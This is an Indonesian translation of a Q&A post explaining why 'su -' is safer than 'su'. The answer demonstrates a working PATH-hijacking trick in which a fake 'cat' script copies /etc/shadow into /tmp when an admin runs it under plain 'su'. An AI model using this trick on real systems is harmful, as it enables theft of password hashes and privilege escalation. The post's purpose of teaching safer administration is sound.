Saya tidak mengerti mengapa su -
lebih disukai daripada su
untuk login sebagai root.
Jawaban yang Diterima:
su -
memanggil shell login setelah mengganti pengguna. Shell login mengatur ulang sebagian besar variabel lingkungan, menyediakan basis yang bersih.
su
hanya mengganti pengguna, menyediakan shell normal dengan lingkungan yang hampir sama dengan pengguna lama.
Bayangkan, Anda seorang pengembang perangkat lunak dengan akses pengguna normal ke mesin dan admin Anda yang bodoh tidak akan memberi Anda akses root. Mari (semoga) menipu dia.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "[email protected]"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Sekarang, Anda bertanya kepada admin Anda mengapa Anda tidak bisa cat
file dummy di folder rumah Anda, itu tidak akan berfungsi!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Jika admin Anda tidak terlalu pintar atau hanya sedikit malas, dia mungkin datang ke meja Anda dan mencoba dengan kekuatan pengguna supernya:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
Wow! Terima kasih, admin super!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
Dia, dia.
Anda mungkin memperhatikan bahwa $PATH
. yang rusak variabel tidak diatur ulang. Ini tidak akan terjadi, jika admin memanggil su -
sebagai gantinya.